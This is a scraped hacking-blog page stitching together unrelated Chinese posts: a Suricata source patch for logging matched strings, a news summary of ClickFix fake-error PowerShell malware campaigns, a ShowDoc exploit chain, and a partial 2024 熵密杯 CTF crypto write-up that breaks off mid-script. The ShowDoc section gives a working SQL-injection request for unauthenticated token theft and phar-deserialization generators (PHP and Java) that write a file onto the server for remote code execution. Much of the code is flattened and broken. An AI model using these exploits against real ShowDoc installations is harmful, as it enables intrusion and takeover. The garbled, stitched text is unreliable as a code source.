Jump to content
  • Entries

    16114
  • Comments

    7952
  • Views

    863108915

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

二開背景suricata是一款高性能的開源網絡入侵檢測防禦引擎,旨在檢測、預防和應對網絡中的惡意活動和攻擊。 suricata引擎使用多線程技術,能夠快速、準確地分析網絡流量並識別潛在的安全威脅,是眾多IDS和IPS廠商的底層規則檢測模塊。

前段時間搭了個suricata引擎播包測試流量規則,發現原生的suricata引擎並不能獲取規則匹配的位置、命中的字符串等信息。因suricata引擎並不會輸出命中的信息,遂修改源碼,改了命中詳情(下文簡稱高亮)出來,今天想跟大家分享一下修改和使用的過程。

1、suricat編譯安裝參考官方文檔https://docs.suricata.io/en/suricata-6.0.0/install.html#install-advanced

先裝庫,裝rust支持,裝make

然後下載源碼make

編譯後的二進製程序在/src/.libs/suricata查看依賴庫,然後補齊到默認so庫目錄中即可運行。

0624-1.png2、vscode+gdb調試suricata環境搭建然後就是裝插件,除了必備的c語言插件全家桶之外還需要裝GDB Debug這個插件。

接著任意新建一個運行配置。

0624-2.png

修改lauch.json為:

{ //Use IntelliSense to learn about possible attributes. //Hover to view descriptions of existing attributes. //For more information, visit: https://go.microsoft.com/fwlink/?linkid=830387 'version': '0.2.0', 'configurations': [ { 'name': '(gdb) Launch', 'type': 'cppdbg', 'request': 'launch', 'program': '${fileDirname}/./src/.libs/suricata', //以下為監聽網卡模式。 //'args': [ //'-i', 'ens33', '-c', '/home/lalala/Desktop/suricata/6/suricata.yaml', '-v', '-l','/home/lalala/Desktop/suricata/6/log6/','--runmode', 'single' //], //以下為讀包模式。 'args': [ '-r', '/home/lalala/Desktop/suricata/6/6-27/48040.pcap', '-c', '/home/lalala/Desktop/suricata/6/suricata.yaml', '-v', '-l','/home/lalala/Desktop/suricata/6/log6/','--runmode', 'single' ], 'stopAtEntry': true, 'cwd': '${fileDirname}', 'environment': [], 'externalConsole': false, 'MIMode': 'gdb', 'setupCommands': [ { 'description': 'Enable pretty-printing for gdb', 'text': '-enable-pretty-printing', 'ignoreFailures': true }, { 'description': 'Set Disassembly Flavor to Intel', 'text': '-gdb-set disassembly-flavor intel', 'ignoreFailures': true } ] }, ]}選擇配置好的配置運行,看到斷在入口,調試環境完成。

QQ截图20240624140810.png

3、suricata流程分析,尋找關鍵位置QQ截图20240624140851.png流程過於復雜,簡單理解就是匹配和記錄日誌的地方是分在不同線程,但是又有結構體可以從匹配帶到那裡。

4、關鍵位置代碼分析,獲取高亮內容根據流程,在初始化後慢慢摸索找到關鍵函數DetectEngineContentInspection

smd為傳入規則,根據type的不同走不同的代碼塊兒匹配。本次加高亮重點關注CONTENT和PCRE這兩個最常用的類型。

QQ截图20240624140911.png

CONTENT代碼塊裡,重點在於這個found。分析得出最後兩個else裡都是命中。

QQ截图20240624140933.png

根據原字符串,偏移,長度即可組合出高亮字符串。

QQ截图20240624140954.png

f為flow結構體也就是會帶到打印日誌那邊的結構體,在結構體中新加一個字符串,即可達成帶數據到日誌流程的目的。

QQ截图20240624141026.png

高亮函數代碼:

staticintGet_gaoliang(constchar*data,u_int32_tend,u_int32_tlen,char*res){

chartmp[1024]='';

if(len1024)

{

memcpy(tmp,data+end-len,len);

}else{

memcpy(tmp,data+end-len,1024);

}

strncat(res,tmp,4096);

strncat(res,'\n\0',4096);

return1;}

pcre同理,在命中流程中加入寫高亮字符串即可。

QQ截图20240624141101.png

5、高亮加到日誌高亮字符已經寫入到了flow結構體。下一步就是在打印日誌的時候讀到,寫出來。

最優先的當然是fastlog,因為fastlog本就是觸發規則會進行輸出的日誌,且沒有其他干擾。

從Packet結構體找到flow結構體找到其中的gaoliang字符串,打印即可。

QQ截图20240624141126.png

最終效果,fastlog會在正常展示命中的同時,講高亮內容展示。

QQ截图20240624141250.png

6、修改匯總匯總代碼放在github 上鍊接https://github.com/webraybtl/suricata_gaoliang

修改文件詳情:

alert-fastlog.c加打印

修改AlertFastLogger

添加如下代碼:

PrintBufferData(alert_buffer,size,MAX_FASTLOG_ALERT_SIZE,'=========ruleid:%'PRIu32'高亮字段展示=======:\n%s====================================\n',pa-s-id,p-flow-gaoliang);

detect-engine-content-inspection.c加Get_gaoliang函數

修改DetectEngineContentInspection函數加入寫入高亮字符串邏輯。

static int Get_gaoliang(const char* data,u_int32_t end, u_int32_t len,char* res){ char tmp[1024]=''; if (len1024) { memcpy(tmp, data + end-len, len); }else{ memcpy(tmp, data + end-len, 1024); } strncat(res, tmp,4096); strncat(res, '\n\0',4096); return 1; } int DetectEngineContentInspection(DetectEngineCtx *de_ctx, DetectEngineThreadCtx *det_ctx, const Signature *s, const SigMatchData *smd, Packet *p, Flow *f, const uint8_t *buffer, uint32_t buffer_len, uint32_t stream_start_offset, uint8_t flags, uint8_t inspection_mode) { . if (found==NULL !(cd-flags DETECT_CONTENT_NEGATED)) { if ((cd-flags (DETECT_CONTENT_DISTANCE|DETECT_CONTENT_WITHIN))==0) { /* independent match from previous matches, so failure is fatal */det_ctx-discontinue_matching=1; } goto no_match; } else if (found==NULL (cd-flags DETECT_CONTENT_NEGATED)) { goto match; } else if (found !=NULL (cd-flags DETECT_CONTENT_NEGATED)) { if(f){ Get_gaoliang((char*)buffer,match_offset,cd-content_len,f-gaoliang); } SCLogInfo('content %'PRIu32' matched at offset %'PRIu32', but negated so no match', cd-id, match_offset); /* don't bother carrying recursive matches now, for preceding * relative keywords */if (DETECT_CONTENT_IS_SINGLE(cd)) det_ctx-discontinue_matching=1; goto no_match; } else { match_offset=(uint32_t)((found - buffer) + cd-content_len); if(f){ Get_gaoliang((char*)buffer,match_offset,cd-content_len,f-gaoliang); } .

flow.hflow結構體加一個gaoliang字符串成員。

typedefstructFlow_{

.

.

.

chargaoliang[4096];

}Flow;

遺留問題1、因只開闢了4096字節存高亮字符,會有溢出。

2、直接按字符串打印展示出來的,對十六進制展示不理想,00會導致打印不全。

原文鏈接

一項新的惡意軟件分發活動正使用虛假的Google Chrome、Word 和OneDrive 錯誤誘騙用戶運行安裝惡意軟件的惡意PowerShell“修復程序”。

據觀察,這項新活動被多個惡意分子使用,包括ClearFake 背後的惡意分子、一個名為ClickFix 的新攻擊集群,以及TA571 威脅者,後者以垃圾郵件分發者的身份運作,發送大量電子郵件,導致惡意軟件和勒索軟件感染。

此前的ClearFake 攻擊利用網站覆蓋層,提示訪問者安裝虛假的瀏覽器更新,進而安裝惡意軟件。

威脅者還在新的攻擊中使用HTML 附件和受感染網站中的JavaScript。但是,現在覆蓋層會顯示虛假的Google Chrome、Microsoft Word 和OneDrive 錯誤。這些錯誤會提示訪問者單擊按鈕將PowerShell“修復”複製到剪貼板,然後在“運行:”對話框或PowerShell 提示符中粘貼並運行它。

ProofPoint 的一份新報告稱:“儘管攻擊鏈需要大量用戶交互才能成功,但社會工程學可以同時向人們呈現看似真實的問題和解決方案,這可能會促使用戶在不考慮風險的情況下採取行動。”

Proofpoint 發現的有效載荷包括DarkGate、Matanbuchus、NetSupport、Amadey Loader、XMRig、剪貼板劫持程序和Lumma Stealer。

PowerShell“修復”導致惡意軟件Proofpoint 分析師觀察到三條攻擊鏈,它們的區別主要在於初始階段,只有第一條攻擊鏈不能高度可信地歸因於TA571。

在第一個案例中,與ClearFake 背後的惡意分子有關,用戶訪問一個受感染的網站,該網站通過幣安的智能鏈合約加載託管在區塊鏈上的惡意腳本。

該腳本執行一些檢查並顯示虛假的Google Chrome 警告,指出顯示網頁時出現問題。然後,對話框提示訪問者通過將PowerShell 腳本複製到Windows 剪貼板並在Windows PowerShell(管理)控制台中運行該腳本來安裝“根證書”。

clickfix.webp.png

偽造的Google Chrome 錯誤

當執行PowerShell 腳本時,它將執行各種步驟來確認設備是有效目標,然後它將下載其他有效負載,如下所述:

马云惹不起马云刷新DNS 緩存;

马云惹不起马云刪除剪貼板內容;

马云惹不起马云顯示誘餌消息;

马云惹不起马云下載另一個遠程PowerShell 腳本,該腳本在下載信息竊取程序之前執行反虛擬機檢查。

chain.webp.png

“ClearFake”攻擊鏈

第二條攻擊鏈與“ClickFix”活動有關,它在受感染的網站上使用注入,創建一個iframe 來覆蓋另一個虛假的Google Chrome 錯誤。用戶被指示打開“Windows PowerShell(管理員)”並粘貼提供的代碼,從而導致上述相同的感染。

最後,基於電子郵件的感染鏈使用類似於Microsoft Word 文檔的HTML 附件,提示用戶安裝“Word Online”擴展程序才能正確查看文檔。

錯誤消息提供“如何修復”和“自動修復”選項,其中“如何修復”將base64 編碼的PowerShell 命令複製到剪貼板,指示用戶將其粘貼到PowerShell 中。

“自動修復”使用search-ms 協議在遠程攻擊者控制的文件共享上顯示WebDAV 託管的“fix.msi”或“fix.vbs”文件。

doc.webp.png

偽造的Microsoft Word 錯誤會導致惡意軟件

在這種情況下,PowerShell 命令會下載並執行MSI 文件或VBS 腳本,從而分別導致Matanbuchus 或DarkGate 感染。

在所有情況下,惡意分子都利用了目標對在其係統上執行PowerShell 命令的風險缺乏認識這一事實。他們還利用了Windows 無法檢測和阻止粘貼代碼發起的惡意操作這一特點。

不同的攻擊鏈都表明TA571 正在積極嘗試多種方法,以提高效率並尋找更多感染途徑來入侵更多系統。

漏洞版本sqli=3.2.5

phar 反序列化=3.2.4

漏洞分析前台sqli

補丁

https://github.com/star7th/showdoc/commit/84fc28d07c5dfc894f5fbc6e8c42efd13c976fda補丁對比發現,在server/Application/Api/Controller/ItemController.class.php中將$item_id變量從拼接的方式換成參數綁定的形式,那麼可以推斷,這個點可能存在sql注入。

QQ截图20240627161403.png

在server/Application/Api/Controller/ItemController.class.php的pwd方法中,從請求中拿到item_id參數,並拼接到where條件中執行,並無鑑權,由此可判斷為前台sql注入。

QQ截图20240627163011.png

但在進入sql注入點之前,會從請求中獲取captcha_id和captcha參數,該參數需要傳入驗證碼id及驗證碼進行驗證,所以,每次觸發注入之前,都需要提交一次驗證碼。

QQ截图20240627163208.png

驗證碼的邏輯是根據captcha_id從Captcha表中獲取未超時的驗證碼進行比對,驗證過後,會將驗證碼設置為過期狀態。

QQ截图20240627163238.png

完整拼接的sql語句

SELECT*FROMitemWHERE(item_id='1')LIMIT1 QQ截图20240627163300.png

$password 和$refer_url 參數都可控,可通過聯合查詢控制password的值滿足條件返回$refer_url參數值,1') union select 1,2,3,4,5,6,7,8,9,0,11,12 --,6對應的是password字段,所以password參數傳遞6,條件成立,回顯傳入$refer_url參數,那麼就存在sql注入。

QQ截图20240627163543.png

POST/server/index.php?s=/Api/Item/pwdHTTP/1.1Host:172.20.10.1Content-Length:110Cache-Control:max-age=0Upgrade-Insecure-Requests:1Origin:http://127.0.0.1Content-Type:application/x-www-form-urlencodedUser-Agent:Mozilla/5.0(WindowsNT10.0;W in64;x64)AppleWebKit/537.36(KHTML,likeGecko)Chrome/125.0.0.0Safari/537.36Accept:text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7Referer:http://127.0.0.1/server/index.php? s=/Api/Item/pwdAccept-Encoding:gzip,deflateAccept-Language:zh-CN,zh;q=0.9sec-ch-ua:'GoogleChrome';v='125','Chromium';v='125','Not.A/Brand';v='24'sec-ch-ua-mobile:0sec-ch-ua-platform:'Windows'sec-fetch-site:same-originsec-fetch-mode:n avigatesec-fetch-dest:documentcookie:PHPSESSID=1r419tk5dmut6vs4etuv656t1q;think_language=zh-CN;XDEBUG_SESSION=XDEBUG_ECLIPSEx-forwarded-for:127.0.0.1x-originating-ip:127.0.0.1x-remote-ip:127.0.0.1x-remote-addr:127.0.0.1Connection:close

captcha=8856captcha_id=87item_id=1')+union+select+1,2,3,4,5,6,7,8,9,0,11,12+--password=6refer_url=aGVsbG8=QQ截图20240627163354.png

sqli獲取token鑑權是通過調用server/Application/Api/Controller/BaseController.class.php的checkLogin方法來進行驗證。

QQ截图20240627163427.png

未登錄時,會從請求中拿到user_token參數,再通過user_token在UserToken表中查詢,驗證是否超時,將未超時記錄的uid字段拿到User表中查詢,最後將返回的$login_user設置到Session中。

那麼只需要通過注入獲取到UserToken表中未超時的token,那麼就可以通過該token訪問後台接口。

phar反序列化rce補丁

https://github.com/star7th/showdoc/commit/805983518081660594d752573273b8fb5cbbdb30補丁將new_is_writeable方法的訪問權限從public設置為private。

QQ截图20240627163453.png

在server/Application/Home/Controller/IndexController.class.php的new_is_writeable方法中。該處調用了is_dir,並且$file可控,熟悉phar反序列化的朋友都知道,is_dir函數可協議可控的情況下可觸發反序列化。

QQ截图20240627163525.png

有了觸發反序列化的點,還需要找到一條利用鏈,Thinkphp環境中用到GuzzleHttp,GuzzleHttp\Cookie\FileCookieJar的__destruct方法可保存文件。

QQ截图20240627163543.png

網上已經有很多分析,這裡直接給出生成phar的exp。

cookies=array(newSetCookie());}private$strictMode;}classFileCookieJarextendsCookieJar{private$filename='E:\\Tools\\Env\\phpstudy_pro\\WWW\\showdoc-3.2.4\\server\\test.php';private$storeSessionCookies=true;}classSetCookie{private$data=array('Expires'=');}}namespa ce{$phar=newPhar('phar.phar');//後綴名必須為phar$phar-startBuffering();$phar-setStub('GIF89a'.');//設置stub$o=new\GuzzleHttp\Cookie\FileCookieJar();$phar-setMetadata($o);//將⾃定義的meta-data存⼊manifest$phar-addFromString('test.txt','test');//添加要壓縮的⽂件//簽名⾃動計算$phar-stopBuffering();

}生成exp時,寫入的路徑需要指定絕對路徑,在docker中部署的默認為/var/www/html,其他則可以通過訪問時指定一個不存在的模塊報錯拿到絕對路徑。

QQ截图20240627163631.png

後續利用,找到一個上傳且知道路徑的點,將生成的phar文件改成png進行上傳。

QQ截图20240627163650.png

訪問返回的鏈接,可獲取上傳文件的路徑。

QQ截图20240627163713.png

調用new_is_writeable方法,通過phar://訪問文件觸發反序列化。

QQ截图20240627163731.png

武器化利用思考在java環境下,對該漏洞進行武器化時,考慮到兩點情況,一個是在通過sqli獲取token時,需要對驗證碼進行識別,目前網上已經有師傅移植了ddddocr。

https://github.com/BreathofWild/ddddocr-java8另一個是在使用exp生成phar文件時,需要指定寫入文件的絕對路徑以及內容,在java下沒找到可以直接生成phar文件的方法,沒法動態生成phar文件,對phar文檔格式解析,實現一個可在java環境下指定反序列化數據來生成phar文件的方法。

phar文檔格式解析通過php生成一個phar文件,用010 Editor 打開,通過官網文檔對phar格式說明,解析phar的文件。

https://www.php.net/manual/zh/phar.fileformat.ingredients.phpphar文檔分為四個部分:Stub、manifest、contents、signature

Stub就是一個php文件,用於標識該文件為phar文件,該文件內容必須以來結尾,感覺類似於文件頭。

QQ截图20240627163756.png

manifest這個部分不同區間指定了一些信息,其中就包含了反序列化的數據。

https://www.php.net/manual/zh/phar.fileformat.phar.php1-4(bytes) 存放的是整個manifest 的長度,01C7轉換為10進制為455,代表整個manifest 的長度455。

QQ截图20240627163825.png

5-8(bytes) Phar 中的文件數也就是contents 中的文件數,有一個文件。

QQ截图20240627163849.png

9-10 存放的是API version 版本。

QQ截图20240627163933.png

11-14 Global Phar bitmapped flags。

QQ截图20240627163909.png

15-18 如果有別名,那麼該區間存放的是別名長度,這裡不存在別名。

QQ截图20240627164013.png

19-22 元數據長度0191 轉十進制401 代表元數據長度為401。

QQ截图20240627164033.png

22-?元數據,元數據中存放的就是反序列化的數據。

QQ截图20240627164100.png

contents這個部分可有可無,是manifest 第二個區間指定的一個內容,官網沒有具體說明,漏洞利用時也不會用到。

signatureactual signature這個部分存放簽名內容。簽名的方式不同,簽名的長度也不一樣,SHA1 簽名為20 字節,MD5 簽名為16 字節,SHA256 簽名為32 字節,SHA512 簽名為64 字節。 OPENSSL 簽名的長度取決於私鑰的大小。

ignature flags (4 bytes)這個部分標識簽名的算法,0x0001 用於定義MD5 簽名,0x0002 用於定義SHA1 簽名,0x0003 用於定義SHA256 簽名,0x0004 用於定義SHA512 簽名。0x0010 用於定義OPENSSL 簽名。

GBMB (4 bytes)Magic GBMB簽名算法為02,使用的即是SHA1簽名。

QQ截图20240627164140.png

簽名的長度為20 字節。

QQ截图20240627164203.png

通過對整個phar文件格式進行解析,發現大部分字段都是固定不變的。需要變化的字段有:

1、manifest 的長度

2、manifest 中元數據

3、manifest 中的元數據長度

4、signature flag 簽名算法

5、signature 簽名數據

java生成phar文件最終構造得到:

packageorg.example;

importcom.sun.org.apache.xml.internal.security.exceptions.Base64DecodingException;importcom.sun.org.apache.xml.internal.security.utils.Base64;

importjava.io.ByteArrayOutputStream;importjava.io.FileOutputStream;importjava.io.IOException;importjava.nio.ByteBuffer;importjava.nio.charset.StandardCharsets;importjava.security.MessageDigest;importjava.security.NoSuchAlgorithmException;

publicclassApp{publicstaticvoidmain(String[]args)throwsIOException,Base64DecodingException{finalFileOutputStreamfileOutputStream=newFileOutputStream('phar.phar');finalbyte[]decode=Base64.decode('TzozMToiR3V6emxlSHR0cFxDb29raWVcRmlsZUNvb2tpZUphciI6NDp7czo0MToiAEd1enpsZUh0dHBc Q29va2llXEZpbGVDb29raWVKYXIAZmlsZW5hbWUiO3M6ODoidGVzdC5waHAiO3M6NTI6IgBHdXp6bGVIdHRwXENvb2tpZVxGaWxlQ29va2llSmFyAHN0b3JlU2Vzc2lvbkNvb2tpZ XMiO2I6MTtzOjM2OiIAR3V6emxlSHR0cFxDb29raWVcQ29va2llSmFyAGNvb2tpZXMiO2E6MTp7aTowO086Mjc6Ikd1enpsZUh0dHBcQ29va2llXFNldENvb2tpZSI6MTp7czozMzo

HireHackking

2024熵密杯wp

第一部分:初始谜题

这一部分算是开胃菜,形式也更像平时见到的CTF题目,三个题目都是python加密的,做出其中任意一个就可以进入第二部分,也就是一个更类似真实情境的大型密码渗透系统。

但每个初始谜题都是有分数的,所以就算开了第二部分也当然要接着做。

每个题目也都有前三血的加成,一血5%,二血3%,三血1%,在最后排名的时候会先根据分数再根据解题时间,所以血量分其实很重要,但是手速实在不太够

然后就是他每个初始谜题下发的附件不仅包含加密用的.py文件,还有一个.exe文件,开启实例并输入ip和端口,之后题目就会下发加密数据,与他进行正确交互后就能拿到flag了。

初始谜题一(300 pts)

题目:

from sympy import Mod, Integer
from sympy.core.numbers import mod_inverse

# 模数
N_HEX = "FFFFFFFEFFFFFFFFFFFFFFFFFFFFFFFF7203DF6B21C6052B53BBF40939D54123"
MODULUS = Integer(int(N_HEX, 16))
MSG_PREFIX = "CryptoCup message:"


# 加密函数
def encrypt_message(message, key):
# 添加前缀
message_with_prefix = MSG_PREFIX + message
message_bytes = message_with_prefix.encode('utf-8')
message_len = len(message_bytes)
num_blocks = (message_len + 15) // 16
blocks = [message_bytes[i * 16:(i + 1) * 16] for i in range(num_blocks)]

# 进行0填充
blocks[-1] = blocks[-1].ljust(16, b'\x00')

encrypted_blocks = []

k = key

# 加密每个分组
for block in blocks:
block_int = int.from_bytes(block, byteorder='big')
encrypted_block_int = Mod(block_int * k, MODULUS)
encrypted_blocks.append(encrypted_block_int)
k += 1 # 密钥自增1

# 将加密后的分组连接成最终的密文
encrypted_message = b''.join(
int(block_int).to_bytes(32, byteorder='big') for block_int in encrypted_blocks
)

return encrypted_message


# 解密函数
def decrypt_message(encrypted_message, key):
num_blocks = len(encrypted_message) // 32
blocks = [encrypted_message[i * 32:(i + 1) * 32] for i in range(num_blocks)]

decrypted_blocks = []

k = key

# 解密每个分组
for block in blocks:
block_int = int.from_bytes(block, byteorder='big')
key_inv = mod_inverse(k, MODULUS)
decrypted_block_int = Mod(block_int * key_inv, MODULUS)
decrypted_blocks.append(decrypted_block_int)
k += 1 # 密钥自增1

# 将解密后的分组连接成最终的明文
decrypted_message = b''.join(
int(block_int).to_bytes(16, byteorder='big') for block_int in decrypted_blocks
)

# 去除前缀
if decrypted_message.startswith(MSG_PREFIX.encode('utf-8')):
decrypted_message = decrypted_message[len(MSG_PREFIX):]

return decrypted_message.rstrip(b'\x00').decode('utf-8')


# 测试
initial_key = Integer(0x123456789ABCDEF0123456789ABCDEF0123456789ABCDEF0123456789ABCDEF0)
message = "Hello, this is a test message."
print("Original Message:", message)

# 加密
encrypted_message = encrypt_message(message, initial_key)
print("Encrypted Message (hex):", encrypted_message.hex())

# 解密
decrypted_message = decrypt_message(encrypted_message, initial_key)
print("Decrypted Message:", decrypted_message)

题目加密流程大概如下:

  • 有一个未知的initial_key,与一个未知的message
  • 对于这个message,题目会在他前面填上一个固定的前缀”CryptoCup message:”,并在最后补充上”\x00”使得整个消息长为16的倍数
  • 将填充了前后缀的消息按16字节为一组分组
  • 从第一个分组开始,将该分组消息转化为整数,记为mi,并计算:
  2fymr1rqxvy11771.png

其中ki是key在对应分组的值(key每个分组之后会自增一)

  • 将所有ci转成32字节,并连接在一起得到密文

靶机只会发送encrypted_message,要发送给他message来拿到flag。这个可以说是相当轻松了,由于有一个已知的前缀,并且他超过了16字节,因此就有第一个分组对应的明文和密文,所以就可以直接求出key来。

exp:

from Crypto.Util.number import *

N_HEX = "FFFFFFFEFFFFFFFFFFFFFFFFFFFFFFFF7203DF6B21C6052B53BBF40939D54123"
MODULUS = int(N_HEX, 16)
MSG_PREFIX = b"CryptoCup message:"

c = bytes.fromhex("a7ea042608ffce5be79a19ee45533506819e85f8d9250fccef5a89731151fd7a76d83aa85c47ba1357a86d0e9763470fb608cd54d0927125f500353e156a01da759fa814e96fa41a888eea3a9cf9b062923ed70774add490c7ed7f83d6b47e711e7b3c8a960dcc2838e577459bb6f2769d0917e1fd57db0829633b77652c2180")
C = [c[32*i:32*i+32] for i in range(len(c)//32)]

msg = b""
key = bytes_to_long(C[0]) * inverse(bytes_to_long(MSG_PREFIX[:16]), MODULUS) % MODULUS
for i in range(len(C)):
msg += long_to_bytes(bytes_to_long(C[i]) * inverse(key,MODULUS) % MODULUS)
key += 1
print(msg)


#CryptoCup message:dHyNBCgxEq4prNBbxjDOiOgmvviuAgfx\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\

发送message回去之后就会拿到flag,以及一个登录Gitea的帐号密码:

验证通过
flag{OYLXbASQsEc5SVkhBj7kTiSBc4AM5ZkR}
gitea账号:giteauser2024
gitea口令:S(*HD^WY63y89TY71
提示:gitea账号和口令用于登录第二环节的gitea服务器,请注意保存!

后面两个初始谜题也都是给一个拿分的flag,以及一个账号密码作为开第二部分的钥匙,所以后面两个初始谜题就不写这个了

初始谜题二(300 pts)

题目:

import binascii
from gmssl import sm3


# 读取HMAC key文件
def read_hmac_key(file_path):
with open(file_path, 'rb') as f:
hmac_key = f.read().strip()
return hmac_key


# 生成token
def generate_token(hmac_key, counter):
# 如果HMAC_KEY长度不足32字节,则在末尾补0,超过64字节则截断
if len(hmac_key) < 32:
hmac_key = hmac_key.ljust(32, b'\x00')
elif len(hmac_key) > 32:
hmac_key = hmac_key[:32]

# 将计数器转换为字节表示
counter_bytes = counter.to_bytes((counter.bit_length() + 7) // 8, 'big')
# print("counter_bytes:", binascii.hexlify(counter_bytes))

tobe_hashed = bytearray(hmac_key + counter_bytes)

# print("tobe_hashed:", binascii.hexlify(tobe_hashed))

# 使用SM3算法计算哈希值
sm3_hash = sm3.sm3_hash(tobe_hashed)

# 将SM3的哈希值转换为十六进制字符串作为token
token = sm3_hash

return token


current_counter = 0


def verify_token(hmac_key, counter, token):
# 生成token
generated_token = generate_token(hmac_key, counter)
global current_counter
# 比较生成的token和输入的token是否相同
if generated_token == token:
if counter & 0xFFFFFFFF > current_counter:
current_counter = counter & 0xFFFFFFFF
print("current_counter: ", hex(current_counter))
return "Success"
else:
return "Error: counter must be increasing"
else:
return "Error: token not match"


# 假设HMAC key文件路径
hmac_key_file = 'hmac_key.txt'
# 假设计数器值
counter = 0x12345678

# 读取HMAC key
hmac_key = read_hmac_key(hmac_key_file)

# 生成token
token = generate_token(hmac_key, counter)
print("Generated token:", token)
print(verify_token(hmac_key, counter, token))

题目内容很简单:

  • 读取一个未知的hmac_key,并生成一个随机的counter
  • 将hmac_key控制在32字节(不足则填充”\x00”,超出则截断)
  • 将hmac_key与counter拼接起来进行SM3哈希

然后下发的数据有:

  • SM3得到的哈希值
  • counter值

我们需要完成的事情是:

  • 找到一个新的counter,使得新counter的低32位比原来的counter大
  • 计算出hmac_key与新counter拼接后的SM3哈希值
  • 发送新counter和这个哈希值就能拿到flag

看明白题意就会知道这是一个基于SM3的哈希长度扩展攻击,由于控制了hmac_key为32字节,并且counter只有4字节,而SM3的分组长度是64字节,所以说我们拿到的哈希值是只有一个分组的。而按照SM3的填充规则,这个分组哈希的完整分组其实是下面这部分内容的part1 + part2:(单引号代表字节串,双引号代表比特串)

#448 bits
part1 = 'hmac_key'(32 bytes) + 'counter'(4 bytes) + "1" + "00...0"

#64 bits
part2 = bin(8*(len(hmac_key + counter)))[2:].zfill(64)

这两部分拼起来就得到了完整的第一个分组。

SM3的哈希长度扩展攻击基于其Merkle Damgard结构,我们可以用一个已知分组的哈希值,去继续迭代计算更长的含有该分组消息的哈希值,而不需要知道这个分组对应的明文是什么。所以我们完全可以构造下面这样的counter:

New_counter = 'counter'(4 bytes) + "1" + "00...0" + bin(8*(len(hmac_key + counter)))[2:].zfill(64) + '\xff\xff\xff\xff'

那么hmac_key拼接上这个counter后,其用于SM3哈希的消息就会按64字节分为两组,而第一组是和靶机发送的消息完全一样的,因此我们就可以利用哈希长度扩展攻击迭代计算整个消息的哈希值了,具体实现代码是赛前那天晚上在github上随便找的:

KKrias/length-extension-attack-for-SM3 (github.com)

稍微对着题意改一改就好。

exp:

def zero_fill(a,n):
if len(a)<n:
a="0"*(n-len(a))+a
return a
def cycle_shift_left( B, n):
n=n%32
return ((B << n) ^ (B >> (32 - n)))%(2**32)

def T(j):
if j>=0 and j<=15:
return int("79cc4519",16)
elif j>=16 and j<=63:
return int("7a879d8a",16)

def FF(X,Y,Z,j):
if j>=0 and j<=15:
return X^Y^Z
elif j>=16 and j<=63:
return (X&Y)|(X&Z)|(Y&Z)
def GG(X,Y,Z,j):
if j >= 0 and j <= 15:
return X ^ Y ^ Z
elif j >= 16 and j <= 63:
return (X & Y) | (~X & Z)

def P0(x):
return x^(cycle_shift_left(x,9))^cycle_shift_left(x,17)
def P1(x):
return x^(cycle_shift_left(x,15))^cycle_shift_left(x,23)

def Message_extension(a): #a的数一定要满足512bit,不够要补零!! ,承接的是字符串
W1 = [] # W0-15
W2=[] # W' 0-63
#print("a消息扩展的a:",a)
for i in range(int(len(a) / 8)):
W1.append(int(a[8 * i:8 * i + 8],16))
#print("W1的前16个",a[8 * i:8 * i + 8])
for j in range(16,68):
temp=P1(W1[j-16] ^ W1[j-9] ^ cycle_shift_left(W1[j-3],15)) ^cycle_shift_left(W1[j-13],7)^W1[j-6]
#print("消息扩展:",hex(temp))
W1.append(temp)

for j in range(0,64):
W2.append(W1[j]^W1[j+4])

W1.append(W2)
return W1

def CF(V,Bi): #V是字符串
Bi=zero_fill(Bi,128)
W=[]
W=Message_extension(Bi) #消息扩展完的消息字
#print("W:",W)
A=int(V[0:8],16)
#print("A:", hex(A))
B = int(V[8:16], 16)
C = int(V[16:24], 16)
D = int(V[24:32], 16)
E = int(V[32:40], 16)
F = int(V[40:48], 16)
G = int(V[48:56], 16)
H = int(V[56:64], 16)
for j in range(0,64):
temp=(cycle_shift_left(A,12) + E +cycle_shift_left(T(j),j)) %(2**32)
SS1=cycle_shift_left(temp,7)
SS2=SS1 ^ cycle_shift_left(A,12)
TT1=(FF(A,B,C,j) +D +SS2 +W[-1][j] ) %(2**32)
TT2=(GG(E,F,G,j)+H+SS1+W[j])%(2**32)
D=C
C=cycle_shift_left(B,9)
B=A
A=TT1
H=G
G=cycle_shift_left(F,19)
F=E
E=P0(TT2)
#print("B:", hex(B))
t1=zero_fill(hex(A^int(V[0:8],16))[2:],8)
t2 = zero_fill(hex(B ^ int(V[8:16], 16))[2:], 8)
t3 = zero_fill(hex(C ^ int(V[16:24], 16))[2:], 8)
t4 = zero_fill(hex(D ^ int(V[24:32], 16))[2:], 8)
t5 = zero_fill(hex(E ^ int(V[32:40], 16))[2:], 8)
t6 = zero_fill(hex(F ^ int(V[40:48], 16))[2:], 8)
t7 = zero_fill(hex(G ^ int(V[48:56], 16))[2:], 8)
t8 = zero_fill(hex(H ^ int(V[56:64], 16))[2:], 8)
t=t1+t2+t3+t4+t5+t6+t7+t8
return t

def SM3(plaintext):
Vtemp=IV
a=(len(plaintext)*4+1 ) % 512
#print(a)
k=0
B=[]
if a<=448:
k=448-a
elif a>448:
k=512-a+448
#print(k)
m=plaintext+"8"+"0"*int((k+1)/4-1)+zero_fill(str(hex(len(plaintext)*4))[2:],16)
#print(m)
block_len=int((len(plaintext)*4 + k + 65) / 512)
#print(block_len)
for i in range(0,block_len):
B.append(m[128*i:128*i+128]) #分组
#print("B:",B)
for i in range(0,block_len):
Vtemp=CF(Vtemp,B[i])

return Vtemp

def SM3_len_ex_ak(num_block,IV,plaintext):
Vtemp=IV
a=(len(plaintext)*4+1 ) % 512
#print(a)
k=0
B=[]
if a<=448:
k=448-a
elif a>448:
k=512-a+448
#print(k)
m=plaintext+"8"+"0"*int((k+1)/4-1)+zero_fill(str(hex(len(plaintext)*4+num_block*512))[2:],16)
#print(m)
block_len=int((len(plaintext)*4 + k + 65) / 512)
#print(block_len)
for i in range(0,block_len):
B.append(m[128*i:128*i+128]) #分组
#print("B:",B)
for i in range(0,block_len):
Vtemp=CF(Vtemp,B[i])

return Vtemp

IV="7380166f4914b2b9172442d7da8a0600a96f30bc163138aae38dee4db0fb0e4e"


#############################################################################
IV2="c2427b818b1fb3b9e72e0ec8c60d101a17865842506e6b0052278a0c156d9e7a"
num_block=1
counter = "51f18456"
